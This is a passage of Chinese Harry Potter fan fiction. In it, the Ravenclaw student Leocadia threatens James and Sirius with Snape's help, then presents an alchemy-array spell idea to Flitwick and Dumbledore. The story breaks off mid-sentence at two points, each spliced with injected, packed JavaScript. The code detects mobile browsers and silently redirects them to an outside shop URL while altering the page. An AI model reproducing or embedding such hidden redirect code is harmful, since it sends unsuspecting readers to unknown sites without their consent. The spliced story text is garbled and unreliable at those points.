“就像巧克力蛙?”潘多拉提出自己的看法,“确实如此,它们跳几下魔法就会消失。但有时候魔法持续时间短一点也不是什么坏事,这样比较刺激。” 莱奥卡蒂亚听着她的话,突然有了个灵感,随手写在草稿纸上。 “还没跟你说说我提到的构想呢,就是……” 她们缩在一个被窝筒里,嘀嘀咕咕,写写画画,像两只毛绒绒的雏鹰正在商量如何快快成长,学会飞翔。 33.冲突加剧 米里森对于两个小姑娘脸上大大的黑眼圈毫不疑惑。 “没有黑眼圈的拉文克劳不是好巫师。”她一手牵一个,“还好你们赶在早餐前起来了——拉文克劳也很容易错过饭点,你们可以多准备一些零食。只不过今天是开学第一天,我还要带你们去找教室呢。” “谢谢学姐,”莱奥卡蒂亚打了个大大的呵欠。“你要咖啡吗?家里从意大利寄过来的,都是很好的豆子。” 米里森有点心动:“但是我那里没有咖啡机。” 莱奥卡蒂亚有气无力地摆摆手:“那你可以来我寝室喝。虽然我也挺喜欢喝红茶的,但我还是更喜欢咖啡。” 米里森爽快答应下来,带她们到礼堂去吃早饭。 “今天早上五年级的课安排得很满,保守起见我会请四年级没课的学生带你们去……嗯,草药课温室。”米里森把课表发给她们,“放轻松,斯普劳特教授是一位很好相处的教授。” “没关系,我知道温室在哪,不需要麻烦人带路的。” 海格带她去过草药学温室送东西,她虽然没进去过,但也知道具体方位。 开学之前弗雷德里克还给她手绘了一张霍格沃茨的地图,标明了楼梯旋转的规律,以及几条近道和重要教室。 让我们说谢谢弗雷德里克。 米里森迟疑:“真的吗?” 莱奥卡蒂亚面不改色地搬出亲妈:“母亲给我讲过,而且我也会问路的。” 一说费德丽卡的名字米里森就信了:“那好吧。” 赫奇帕奇的女级长匆匆走过来:“米里森!我们之前讨论的……你现在忙吗?不忙的话趁还没上课我们先去一趟学生会。” 米里森看了一眼莱奥卡蒂亚:“不忙,我们走吧。” 莱奥卡蒂亚牵着潘多拉和她挥手。 “莱奥,Ciao~”莉莉跟着格兰芬多的大部队来到礼堂,一眼就看见了莱奥卡蒂亚,扑过来贴面礼,“mu''ma~” “Ciao~”莱奥快乐地左拥右抱,“睡得还好吗?” “挺好的,收拾完东西和室友讲了几句就睡着了,格兰芬多的女生休息室是三人间!”莉莉看上去还挺高兴,“我的室友都挺好的……这是你的室友吗?” 指望着还在梦游的潘多拉主动介绍自己是不太可能的,莱奥卡蒂亚代为介绍:“这是潘多拉·齐瑟,她还在梦游,我们昨天聊得太晚了,等她醒了我再好好介绍一次。” “好吧。你黑眼圈都出来了,这是聊到几点才睡?”莉莉嗔怪地扯她的脸,“走,进去吃饭。今天我们上午第一节课是变形术,听说麦格教授很严厉的。” 莱奥卡蒂亚被她拽着脸进礼堂,手里还挽着一个潘多拉,抽过莉莉包里的课表和自己的快速对比:“……我心碎了。” 莉莉就近在格兰芬多的长桌上找了个位置:“怎么了?” “这学期我跟你没有一节课是在一起上的。”莱奥卡蒂亚沮丧地环视。 她就坐在拉文克劳的长桌尾,伸手就抢过刚进礼堂的斯内普的课表,和莉莉头对头的看:“emmm。” 课表还没捂热乎就被抢走的斯内普:…… 算了,对对课表吧。 “嘤嘤嘤,你跟西弗能一起上魔药和飞行。”莱奥卡蒂亚再次沮丧,“我对自己的魔药水平很有自知之明的。” 斯内普和莉莉都是魔药高手,而她,魔药糕手。 勤能补拙,用在她身上是钱能补拙,大把大把的材料买回来试个五六次,差不多才能跟莉莉一个水平。 莉莉大惊:“不会吧?草药课、变形术课、魔法史、魔咒课和黑魔法防御术课都不在一起吗?” “不在,但我和西弗一起上草药和变形术。”莱奥卡蒂亚露出嫌弃的表情,“咦……他变形术好像没我好?” 斯内普站在她身后,把早上要用的草药学课本压在她头上:“可是我魔药比你厉害。” “那你说说,剩下的哪一科你能跟我比?” “魔咒。”斯内普犹豫一会儿,坐到斯莱特林的长桌尾。 “啧。” 这倒是,这小子在魔咒上相当有天赋,已经能用好几个无声咒了。 莱奥卡蒂亚拿过他的课本翻了翻,“你怎么没拿我们用过的那套?这本是新买的,没有笔记哦。” 斯内普翻白眼:“谢谢,我早就背下来了。” 也是,除了莉莉这个照常上小学的,莱奥卡蒂亚和斯内普早就把一到四年级的内容学完了。 “那我们要不申请跳级?”莱奥卡蒂亚的思维简单且粗暴。没有什么年龄阶段是不能跳级的,她跳啊跳的早就习惯了。 “我觉得还是听听教授们的讲课比较好,说不定能听到一些新的内容和观点呢。”莉莉熟练地把他们分开。 “好吧,听你的,”莱奥卡蒂亚又看一眼课表,“不过直到十点十五我和西弗都没课欸。” 太好了,第一天就能探险。 “那就找个地方自学吧。”莱奥从挎包里掏出一个小本子,“我跟西弗先去探探路,如果弗雷德里克没有骗我,应该是有一个能完美满足我们学习需求的地方的。” 这时候,潘多拉也迷迷糊糊地醒来:“要上课了吗?” 莱奥卡蒂亚怜爱地搓搓她的脸颊:“没有,我们在礼堂吃早饭呢,你想吃什么?” “面包就好……”潘多拉转瞬间又睡了过去。 斯内普一看就知道发生了什么:“不是每个人都跟你一样习惯性熬夜的,不要带坏你的室友。” “这对拉文克劳来说是常态,潘多拉总有一天要习惯的。”莱奥卡蒂亚起身,装了一盘面包、一些滋滋冒油的培根和一壶牛奶过来让莉莉和斯内普自己拿。 “而且,谁叫你们俩都对炼金术和古代魔文没兴趣,现在难得有个室友能给我提供正面的反馈,不聊到凌晨三点简直对不起我和潘多拉的缘分!” 莉莉毫不客气地敲击她的脑袋:“那是因为你的思维总会转到奇怪的地方去。” 谁能说着说着炼金四元素,突然插到文艺复兴,再蹿到《翠玉录》,又一百八十度急转弯到炼金阵的类型,最后猛转方向盘掉头到《彼豆诗翁故事集》? 莱奥卡蒂亚振声:“可是这些都是炼金术有关的内容啊!我和潘多拉就能对上脑回路!” “那是因为你们都是拉文克劳。”斯内普皱着眉头喝牛奶。 这半年莱奥的身高蹿得飞快,他可不能让此人因为身高超过莉莉和他小人得志起来。 “禁止学院刻板印象,西弗,我还没说斯莱特林都是讲究人,你看看你,头发又油了,一点都不斯莱特林。” 斯内普捏紧了拳头。 莉莉忍俊不禁:“莱奥,小心西弗不给你抄魔药作业。” “没关系,我自己能写。”莱奥卡蒂亚绕着鬓边的头发,“我只是操作环节不太熟练。” 斯内普放下杯子,嗤笑:“是呀,体面的Signorina Saluzzo会用手帕按着弗洛伯毛虫,我真怀念她发现帕子会把粘液吸干的蠢样子。” 莱奥眉头倒竖:“你是不是想打架?” “打架扣分。”斯内普才不跟她打。 他们跟小学生似的拌嘴,莉莉早就见怪不怪了,吃了一个面包,还拿了一点蓝莓果酱搅进牛奶里。 “嗨,伊万斯,早上好!” 元气满满的詹姆·波特从礼堂外冲进来:“你起得真早,我还在公共休息室找了你一会儿呢!” 莉莉有些费解:“你找我做什么?有什么事吗?” 莱奥卡蒂亚和斯内普早在詹姆·波特进礼堂的那一秒就默契地停下,面无表情地盯着詹姆,两张脸上的神情极为相似。 那是老母亲/老父亲对试图拐走自家漂亮小闺女的鬼火黄毛的凝视。 跟在后面的西里斯一阵恶寒:“梅林在上,看看你们的表情,简直像是要把詹姆埋到禁林里一样。你们能不能别把伊万斯看得这么紧?她需要格兰芬多的朋友。” 而不是一个阴森森的斯莱特林,和一个神经质的拉文克劳! 莱奥卡蒂亚斯条慢理地用餐刀切面包,动作优雅到可怖:“怎么会呢?布莱克先生,你可以把这么没创意的想法按在西弗身上,却绝不可能猜到我会怎么做。” 当然是先处以极刑,再灌.水.泥沉进爱琴海啦~ 斯内普和她统一战线:“诚如这位Signorina所言,我虽然没创意,但会的咒语不少,所以波特先生,一个人走路的时候小心点。” 詹姆强悍地顶住了威胁,斜着眼睛,不屑地说道:“这就不劳你操心了,油腻腻的——” 他长长拖着声音,西里斯立刻补上一句:“Senivellus!(鼻涕精)” 詹姆:“我们说好了,明明是油腻腻的蝙蝠精和恶心的鼻涕精!兄弟我们的默契呢?” 莉莉当即发怒:“波特、布莱克,你们太过分了……!” 莱奥卡蒂亚拉住她,轻轻笑起来,优雅又端庄,却仿佛背景开满了黑.罂.粟花:“莉莉,快去找变形术教室吧,马上要上课了。” 斯内普则依旧面无表情,轻轻向莉莉点头。 莉莉咬着嘴唇,抓过自己的课表塞进包包里,找到自己的室友,和她一起去变形术教室。 “伊万斯,等——”詹姆转身想追上去,却急急停下。 一柄冰凉的尖锐物品抵在他肚子上,他几乎感到了皮肤被破开的锐利疼痛。 “詹姆!”西里斯看见了晃眼的银辉,想过来拉詹姆离开,却被不知道什么时候出现在他身后的斯内普用魔杖抵住腰椎。 “嗯?说呀?怎么不继续说了?”莱奥卡蒂亚的另一只手撑着下巴,侧头凝望詹姆汗涔涔的侧脸,“你们是不是不信我会捅下去?好吧,波特先生,你大可以动一动,试试我的刀和愈合魔法哪个更快。” 西里斯恶狠狠地瞪着她:“你才不敢!还有你,鼻涕精,你可不敢动我,教授们会检查你的魔杖!” “前提是,教授们能抓到我。” 斯内普抵在他腰上的魔杖更往皮肉里戳了一点。 “正如西弗所言,”莱奥卡蒂亚的唇角一转方向,变成讥讽的弧度,“布莱克,你怎么不想想,为什么你这么大声,却没人注意到这边呢?” 西里斯和詹姆猛地一怔,慌忙向旁边的长桌看去。 每个人都在神色如常的用餐、交谈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她幻紫色的瞳仁同时闪烁着天真与魔魅,确实很像传说中引诱人坠入地狱的恶魔。 “现在,我要赐予你们恐惧。”她装模作样地晃晃食指,“现在,离你们的变形课上课时间,还有三分钟哦。” 在詹姆和西里斯边放狠话边惨叫着飞快跑走后,莱奥卡蒂亚把剩下的面包用缩小咒和手帕打包。 还有几个磨磨蹭蹭的格兰芬多男孩也吱哇乱叫着跑出了礼堂。 “是真的吗?”斯内普突然问。 “嗯?”莱奥卡蒂亚发出一个音节,“没骗他们哦,真的还有三分钟上课。” “我是说,他们叫你‘恶魔’。”斯内普用魔杖在空中写下那个单词。 “是啊,就是看过我‘表演’的那些人,还有和我一起‘表演’的那些人。”莱奥卡蒂亚收拾好东西,轻轻拍拍睡得不省人事的潘多拉的脸蛋,“怎么了?” 斯内普沉默两秒,哼一声,站起来:“就是觉得比Signorina Saluzzo顺口。” 莱奥卡蒂亚顺口说道:“谢谢夸奖,但那还不如叫我S.S。潘多拉?醒醒,外面有独角兽。” 潘多拉弹射起立:“在哪?!” 莱奥卡蒂亚捏她脸:“在禁林。” 潘多拉垂头丧气:“唉,好想看看真的独角兽。” 莱奥卡蒂亚笑眯眯地说:“会带你去看的。走,去八楼。” 推着潘多拉走了两步,莱奥卡蒂亚疑惑回头:“西弗?怎么了?走呀。” 不知道为什么耳尖有点红的斯内普咳嗽一声,大步跟上。 斯内普想起刚才的事:“那个让所有人忽略我们的魔法是炼金制品还是魔咒?” “是组合如尼魔文的效果,哼,我有说过的,谁让你不听莱奥老师的小课堂。”莱奥卡蒂亚摊开手,指间翻转出一枚薄木片,复杂繁琐的图案在小小木片上跳动,“意思是‘万水千山中,此地静默无声’,为了组合它们我刻废了好几根栗木呢。” 就是消耗的魔力实在太多,用一次得歇好几个小时。 潘多拉立刻要走木片进行研究,一会儿叨叨“太复杂了”一会儿又说“效果真好”。 斯内普明智的转移话题:“你到底是从哪摸出来这些东西的?” 莱奥卡蒂亚拉开校袍的袖子给他看,她手腕上绑着一个带抽绳的小手包:“是用了无痕延展咒的袖袋哦,找东西的时候用无声飞来咒就好,从袖子里掏东西简直酷毙了。想要吗?给你做一个。” 斯内普对这种炼金制品还是很感兴趣的:“当然要。” 莱奥卡蒂亚放下袖子:“行,改天给你和莉莉都做一个。” “什么东西?”潘多拉迷惑抬头。 “好好好,见者有份。”莱奥卡蒂亚摸摸她的头发,“西弗,这是潘多拉·齐瑟,我的室友;潘多拉,这是我的好朋友,西弗勒斯·斯内普。以后你们也是朋友了哦。” 潘多拉不甚在意地朝斯内普点点头,又开始拉着莱奥絮絮叨叨古代魔文。 斯内普听了几个词就开始默背魔药材料的性质。 事实证明,斯莱特林和拉文克劳之间有时候还是有壁的。 34.一周 开学第一周,足够莱奥卡蒂亚摸清各个教授的水平,在接下来的课堂上,她会有重点的做好笔记、选择性的听他们讲课。 比如在斯拉格霍恩对自己的鼻涕虫俱乐部和从里面出来的杰出人物夸夸其谈时,莱奥卡蒂亚就拿着斯内普的课本看他的改良笔记。 斯拉格霍恩用粗胖的手指捻动着两撇小胡子,再度申明:“……我的鼻涕虫俱乐部虽然只对高年级开放,但你看,如果你格外具有天赋——无论是不是在魔药学上的天赋——都可以在这里找到志同道合的伙伴交流。” 可惜,跟拉文克劳一起上魔药课的是赫奇帕奇。憨厚的小獾们对他的暗示毫无反应,拉文克劳的新生们专注于处理材料。 莱奥卡蒂亚对他的招揽十分不屑,边听边翻白眼。 而潘多拉则往坩埚里放入有角鼻涕虫,在莱奥卡蒂亚的指挥下很开心地处理弗洛伯毛虫的粘液,借此机会和莱奥卡蒂亚说起有一种弯角鼾兽主要分布在瑞典,真想去瑞典看看。 莱奥卡蒂亚把坩埚端离火焰,往里面加入豪猪刺,然后搅拌:“真的?从英国去瑞典不远,我家在那边也有生意,如果你想去,我们就约个假期,我申请航线,好好去玩一玩。来,你在上面挥挥魔杖。” 潘多拉对她的有钱程度还没什么概念,挥着魔杖欣然点头:“好呀好呀。” 莱奥卡蒂亚却突然想起来,巫师出门要护照吗? “萨卢佐小姐、齐瑟小姐,”斯拉格霍恩笑眯眯地从教室另一边走过来,“你们在疥疮药水制作过程中遇到问题了吗?” 被打断思路的莱奥卡蒂亚露出一位淑女必备的社交笑容:“没有,斯拉格霍恩教授,只是我和齐瑟小姐熬好了,在讨论制作过程中还有哪些问题需要反省。” “是吗?哦,你们的速度可真快,让我来看看你们的成果。”斯拉格霍恩拿出一只小玻璃瓶装起一瓶她们做出来的药水,晃一晃,满意地点头,“完美的成色,我不得不为你们的作品加上五分!嗯?里面是添加了弗洛伯毛虫的粘液吗?这可不是教材里的内容。” 莱奥卡蒂亚当然不可能说这是斯内普改良的配方,装傻:“是吗?对不起教授,可能是我拿错材料了。” “不,不不不,你没有弄错。弗洛伯毛虫的粘液可以增加魔药的粘稠度,对魔药是有益的。”斯拉格霍恩不甚在意地给她们的作品打上分收好,又去看下一组的操作。 潘多拉等他走远了才悄悄问莱奥卡蒂亚:“你不喜欢他?” 莱奥卡蒂亚摸摸脸:“很明显吗?” 潘多拉摇头晃脑地收拾桌面:“有好多骚扰虻围着你,你的心是嘈杂的。” 莱奥卡蒂亚汗毛倒竖,紧张地抱住潘多拉的手臂,压低声音问:“骚扰虻……是虫子吗?!” “有点像,不过它们是隐形的,你碰不到它们。”潘多拉端详她的脸,“你怕虫子?” 刚刚的虫类材料都是她来处理的,因为莱奥卡蒂亚自告奋勇地说自己很擅长研磨毒蛇牙。 “有一点,黏糊糊的软体虫子,特别是长翅膀的虫子,蝴蝶飞蛾什么的。”莱奥卡蒂亚吐舌头,“但是很奇怪,我不怕蜘蛛,我五岁的时候养过一只很可爱的跳蛛,我叫他卢卡斯。” 于是直到下午的变形课之前,莱奥卡蒂亚和潘多拉都在讨论怎么让古代魔文像蜘蛛一样跳起来。 以至于莱奥卡蒂亚在变形课上不仅把针变成了火柴,还让火柴长出了八条腿在桌上跳来跳去,模仿着蜘蛛吐丝的动作晃动两条前肢。 麦格教授给她加了十分:“非常有创意的点子,萨卢佐小姐。” 莱奥卡蒂亚正沉浸于“能不能控制着火柴蜘蛛跳芭蕾舞”的思考中,被麦格教授的突然出声吓了一大跳,火柴蜘蛛受她的反应影响,跳到了潘多拉头上。 幸好潘多拉足够淡定,只是把火柴蜘蛛从头上摘下来,和它打了个招呼:“嗨,卢卡斯。” 麦格教授像是被逗笑了,严肃抿在一起的唇角下意识一勾。 莱奥卡蒂亚不用读心都知道她在想什么,比如吓唬邓布利多的学徒真好玩,或者总算也把这小姑娘吓了一跳,之类的。 有一次麦格教授去找邓布利多的时候,无意间一抬头,对上了二楼闪闪发光的紫色眼睛,吓得麦格教授往后退了好大一步。 如此看来,不管是谁,无意间对上阴暗角落里露出来的眼睛都会受到不同程度的惊吓。 莱奥卡蒂亚尴尬又不失礼貌地微笑:“谢谢您的夸奖,麦格教授。” 嘤。 不愧是猫猫,报复心极强。 要说最轻松的还是魔法史。 宾斯教授的讲义千年不变,而莱奥卡蒂亚拥有一份神器——当年的霍格沃茨第一学霸,费德丽卡·维西佩尔的全年级全科目笔记本。 费德丽卡在每一本笔记上面都标注了她收集到的所有期末考试题,还有她参加OWLs和NEWTs之前所有科目的考试真题。 弗雷德里克又给了她近几年的全套真题,因为他的恋人——就是斯内普说过的那个拉文克劳男生——弗雷德里克还把人带到过莱奥卡蒂亚家一起喝下午茶——毕业后凭借优秀成绩进了巫师考试管理局,目前已经打入监考小组,誓为学妹的题库添砖加瓦。 这就导致莱奥卡蒂亚完全不带听宾斯教授讲课,每逢魔法史课就和潘多拉快乐研究如尼文,密语羽毛笔唰唰飞舞。 幸好她们奋笔疾书的模样在拉文克劳里不算显眼,宾斯教授也没有检查她们笔记的想法。 莉莉知道后想说什么,但被莱奥卡蒂亚上供的真题和重点笔记堵住了想说的话。 斯内普没资格说莱奥卡蒂亚,因为他也是上课开小差的一员。 但要莱奥卡蒂亚评价,她还是最喜欢自家院长,以及他教的魔咒学。每次上课都拉着潘多拉坐在第一排,用闪亮亮的大眼睛表达自己对知识的渴求。 弗立维教授在短短两天内给自己学院加分加到心虚。 幸好莱奥卡蒂亚在每堂课(除了魔法史和飞行课)上都能给拉文克劳加分。 弗利维教授在某次晚餐时装作不经意地提及莱奥卡蒂亚的表现,又听了一圈其他教授对莱奥卡蒂亚的评价,瞬间不心虚了,还挺嘚瑟。 弗利维面对教授们(特别是麦格教授、斯普劳特教授和斯拉格霍恩这三位院长)羡慕的眼神时,试图谦虚,但无法掩饰的激动语气早就出卖了他:“加分都是萨卢佐小姐自己的努力,我只是偶尔会给她一些额外的魔咒上的指点,这算不得什么。” 邓布利多看似不在意地指出:“得了吧,菲利乌斯,我看你只是在炫耀。如果萨卢佐小姐继续这么为拉文克劳夺得课堂分数,我想今年年终的时候,礼堂就会挂上拉文克劳的旗帜了。” 弗利维大笑:“如果真是这样,我请客,请大家都去三把扫帚喝一杯!” 麦格教授喝了一口南瓜汁,这么多年第一次觉得邓布利多的口才稍显没用,一年多的功夫都没能说动莱奥卡蒂亚来格兰芬多,哼。 “看看你这幅胜券在握的样子,菲利乌斯,但我不得不提醒你,萨卢佐小姐似乎并不擅长飞行和魁地奇,而今年拉文克劳的找球手麦克菲尔小姐面临着OWL考试的压力。” 斯拉格霍恩酸溜溜的,试图打击弗利维教授的信心,又自豪起来,“而我们的找球手马尔福先生,以他的成绩自然不用为OWL担心,哪怕考试将近,还能游刃有余地抓住金飞贼。” 弗利维教授一下子紧张起来:“这个……我不得不承认每个人都有弱点……而且让萨卢佐小姐在保持完美成绩的同时让她去打魁地奇……况且她才一年级!还没有一年级新生参加魁地奇的先例!” “这个你不用担心,菲利乌斯,”邓布利多交叉着十指,愉快地看向拉文克劳长桌上两颗凑在一起的金脑袋,“就我所知,萨卢佐小姐的运动天赋也不错,为什么不问问她的想法呢?她向来很有主意。” 其中一颗深一点的金脑袋频频往格兰芬多的长桌上看去,匆匆吃完饭,就溜出礼堂。 弗利维在当天晚上就找来莱奥卡蒂亚。 本来是来借自家院长藏书的莱奥卡蒂亚指指自己:“真的假的?我?打魁地奇?” 弗利维期待地搓手手:“这只是一个提议,毕竟我们学院的现任找球手麦克菲尔小姐马上要考试了,而替补的伯恩斯先生似乎总是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423302|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正式上场的时候有那么一些……突发状况。斯图尔特教授说你在飞行课上似乎放不开,但平衡性和灵活性很优秀。” 莱奥卡蒂亚平静地吐槽:“教授,有没有一种可能,我飞不快只是因为学校的扫帚着实是上个世纪的老古董,稍微骑快一点我就觉得它们要散架了。” 没人会要求一个百岁老人在半个小时内完成铁人三项吧? 弗利维不好说话,毕竟他上学时用的扫帚至今仍在修修补补给学生们用。 “其实我在家里用自己的扫帚速度还是蛮快的,但是不是说新生不能带飞天扫帚吗?我就没带来。所以为什么阿不思不换一批扫帚,是因为校董会不拨款吗?” 弗利维更加没话说了,只能讪笑两声。 校董会就是这么抠门,有时候连教授们的经费申请都会卡。 莱奥卡蒂亚挪着小碎步横移到弗利维办公室里巨大的书柜前,悄悄打量书柜里的书籍,“那他们可真小气……啊!《千种魔文起源和变形》!我在图书馆里找了好久都没找到!教授我可以借走这一本吗?” “当然可以,但我记得你开学之前就借走了一本《守护型如尼魔文全解》,那本已经看完了吗?”弗利维知道她这是委婉拒绝打魁地奇,遗憾地把这个话题按下。 “看完了,但有些地方跟其他版本的如尼文讲解不一样,所以我想看看出版时间更久远一点的书是怎么说的。”莱奥卡蒂亚把起码十英寸的大部头抽出来,放进龙皮小挎包。 这个挎包也是她自己做的,专门用作书包。 “过来坐吧,莱奥,虽然很遗憾我不能继续跟你聊聊魁地奇的事,但我们可以聊聊别的。”弗利维打了个响指,“波波,请送一些甜点和红茶给我。” 两秒钟后,一个长相不太符合人类审美的家养小精灵带着几乎有自己身体高的点心塔和一大壶红茶出现:“尊敬的弗利维教授!晚上好!波波为您带来了现烤的曲奇和大吉岭红茶!” “谢谢,波波。”弗利维点点桌面,让满桌凌乱的书籍和羊皮纸堆到一旁的地上,空出一片桌面来放东西。 “哦,为您服务是波波的荣幸!”小精灵尖细的声音洋溢着喜悦。 “这是波波,我上学的时候他就为霍格沃茨工作了。有一天晚上我学习到头晕眼花,我的赫奇帕奇朋友带我去厨房找吃的,就是波波为我们提供了帮助。”弗利维从抽屉里拿出茶杯,“如果你半夜饿了,就打个响指叫波波给你送点吃的。” 这可能不符合以往的规矩,但弗利维教授忽略了这一点。 院长担心自家学院的好学生半夜饿晕在房间里有问题吗? 没有! 任谁知道了都只能夸他是个好院长!再夸一句莱奥卡蒂亚的上进! 莱奥卡蒂亚蹲下来,平视家养小精灵网球似的眼睛:“你好波波,我叫莱奥卡蒂亚·萨卢佐。” “萨卢佐小姐,您、您不用这么蹲着跟波波说话!”波波惊慌地摆手,“为巫师服务是波波应该做的!您有任何需要都可以叫我的名字!” “真的吗?那我能不能请你做一份番茄肉酱意大利面,我今天想试验一个自创魔法,估计要通宵。”莱奥卡蒂亚双手合十,真诚拜托,“我已经一个星期没吃意大利面了,再不吃我会偷偷跑回家的。” 波波当即答应下来:“完全没问题的!弗利维教授,萨卢佐小姐,波波不打扰你们了!” 话音刚落,他的身影就消失在原地。 弗利维不是很赞同莱奥卡蒂亚的熬夜行径:“哪怕今天是星期五,我也不赞同你这个年纪的小巫师熬夜,沉迷研究得等你再长大一点。” “哪怕这个议题很有建设性?”莱奥卡蒂亚坐到弗利维对面的椅子上,乖巧地拿起还热乎的巧克力曲奇啃啃啃。 入口即化的酥脆曲奇上洒满了巧克力豆,还带着甜腻的巧克力夹心,正适合补充糖分。 噎着了,喝一口红茶。 弗利维怀疑她晚上没吃饱。 其实莱奥卡蒂亚吃饱了,但弗利维教授找她过来之前她稍微“运动”了一会儿,消耗有点大。 希望波特先生和布莱克先生喜欢她的礼物,嘻嘻。 35.魔法阵 连吃三块曲奇后,莱奥卡蒂亚擦擦手,从挎包里拿出自己的笔记本,翻到最新的一页推给弗利维教授:“就是这个,教授。” 弗利维眯着眼睛看了一会儿,突然拍案而起:“这可真是绝妙的构想!炼金术和咒语结合,入门的门槛相当高,但如果能建立起完整的体系,我相信魔法界会引来全新的变革!” “门槛只是为了阻止不入流的人滥用炼金术。实际上我为了研究炼金术做过很多尝试,发现几乎所有的炼金阵都不是很能与现代魔咒相容,也有可能是因为炼金阵几乎没有迭代的缘故。” 莱奥卡蒂亚顺手拿起弗利维教授桌上的羽毛笔,画出一个精准如尺规作图的基础炼金阵。 当然,这个炼金阵与常见的炼金阵略有不同。 同心圆内套正方形,对角线与圆心重合,四个顶点写着四元素符号。除此之外没有任何魔文和魔咒。 “气、土、水、火,炼金术四元素,看着很简单,但如果只是照本宣科,大部分巫师都会为它的难于理解而放弃这门学科。” “但在开学前一天,我在看报纸——麻瓜报纸——的时候突然来了灵感:为什么不可以直接在施咒前用魔力构造简单的炼金阵,刻录、复现和增强魔咒效果,然后做到连发呢?”* 莱奥卡蒂亚趴在桌子上写写画画,写下一大堆弗利维没见过的东西。 “然后我就用最简单的切割咒(Diffindo,四分五裂)做了尝试。当然,第一次尝试的时候没有控制好魔力的输出,不小心炸糊了头发,所以我换了个发型。” 莱奥卡蒂亚心有余悸地摸摸头发,幸好没给她削秃,不然她真的会哭出来的。 因为这种事哭着找西弗勒斯要生发药水……这种事会被他嘲笑一辈子的! “我对这个咒语的效果进行了拆分和解析,大概就是用风凝聚成无形的刀刃,空气驱动型,反应物质直接就地取材,可以附加火的灼烧。” 莱奥卡蒂亚抽出魔杖:“我花了一段时间克服用魔力快速构筑炼金阵时那种大量抽离魔力的虚弱感,我想,如果是您或者阿不思,你们可以比我更快。现在我演示一下——” 魔力构筑出通用炼金阵,银白色光辉一闪,无数道火红的气流从中喷涌而出,拥有漂亮纹路的金合欢木魔杖从容地控制着气流,不让它们破坏办公室里的东西。 “然后还可以控制它们融为一体,但那样有点危险,我现在还掌控不了。那就合成一个四分五裂炼金阵吧。” 魔杖一挥,魔力炼金阵吸收所有火红气流,魔力回路打碎、重构,魔法核心中只留下风和火元素,三角形堆叠出奇异的图形构成阵眼,光秃秃的空隙中显现出细密的魔法纹,仔细看去,那是无数逆时针重复的镜像“DIFFINDO”。 “目前我只能用现代拉丁文魔咒构建这个可以瞬发四分五裂的炼金阵。”莱奥卡蒂亚很遗憾地将炼金阵打散。 弗利维似乎在推演和分析刚才的每一个细节,双眼发直,半晌没说话。 等莱奥卡蒂亚又吃了几块曲奇补充消耗的魔力,弗利维教授才如梦初醒般,尖叫着跳起来:“我们马上去找阿不思!城堡的教室……不行,太小了!我们去禁林!” 莱奥卡蒂亚懵逼地答应一声。 在禁林里吃面会不会有点突兀? 要不然让波波多准备几份吧…… 嗯?等等? 我这算不算被教授和校长带着夜游禁林的第一人? 好耶!记下来!以后霍格沃茨的校史重新为我开一本! 莱奥卡蒂亚快乐幻想,乖巧地跟在弗利维身后直奔禁林。 邓布利多被叫出来的时候明显还没睡。 毕竟现在才十点。 但哪怕邓布利多是本世纪最伟大的白巫师,作为校长和莱奥卡蒂亚的导师,他对弗利维直接把孩子带来禁林的行为也不太赞同。 弗利维才不给他发表长篇大论的机会,拿着莱奥卡蒂亚写得有些零碎的手稿和思路跟邓布利多就是一阵嘀咕。 莱奥卡蒂亚则坐在一旁的大石头上嗦面,她们位于一片没有树荫覆盖的空地,水银似的月光自她身上流淌而下,是非常适合野餐的地方。 她刚刚又让波波做了两份意面,不过好像对面两个人没心思吃。 邓布利多花了几分钟搞清楚为什么弗利维大半夜带莱奥卡蒂亚来禁林,不禁有点小郁闷:“莱奥,你有这样的想法为什么不第一时间来找我?” 我已经不是你第二喜欢的老爷爷了吗? “我开学前一天才提出假设,开学这一周,我一边上课一边用空闲时间实验,今天才终于有了雏形。”莱奥卡蒂亚舔舔唇角的番茄酱,“吃完晚饭我刚好‘路过’格兰芬多的休息室来着,要不是弗利维教授让学姐来找我,我肯定第一个告诉你啊?” 而且我在你面前提自创咒语不是班门弄斧吗?莱奥卡蒂亚用眼神表达无语。 意识到似乎是自己在晚餐时坑了一波自己的邓布利多眨眨眼,问:“能再为我示范一次吗?” 莱奥卡蒂亚放下盘子和餐叉:“可以啊,但我刚刚吃面的时候有了灵感,构想了一下清水如泉版的炼金阵,先让我试试这个,等会儿再演示四分五裂。” 邓布利多和弗利维欣然应允。 莱奥卡蒂亚先施展一个清水如泉,让弗利维看看有没有哪里还能改进。 弗利维仔细看了一圈,指出她的手势有点问题。莱奥卡蒂亚当场改过来,又凝聚出一个基础炼金阵,杖尖却悬停在炼金阵中央,无意识地小幅度转圈。 水,曲流婉转,滋润万物,是自然循环中最不可或缺的一环。 Aguamenti=aqua+menti 拉丁语的“水”和“意识”。 水的意识。 如果水有意识,它会是什么性格呢?温柔的?冰冷的?还是无悲无喜的? 自然界里到处都是它的痕迹,它从哪来?到哪去? 莱奥卡蒂亚轻轻念出咒语,挥动魔杖,带起饱含魔力的轨迹,落入炼金阵的阵眼。 温和到不带攻击性的咒语,连转化成炼金阵都是那么温柔无声,银白的阵法如涟漪般波动,记录下咒语的一切。 莱奥卡蒂亚再次驱动炼金阵:“清水如泉。” 几条水柱激飞而出,又在莱奥卡蒂亚的控制下合而为一。源源不断的清水从炼金阵中涌出,水球的体型愈发巨大,莱奥卡蒂亚举着魔杖的手开始微微颤抖。 “好了,莱奥,可以停下了。”邓布利多看出了她急剧消耗的魔力,举起长得有点奇怪的魔杖,试图接管炼金阵。 莱奥卡蒂亚就退出自己的魔力。 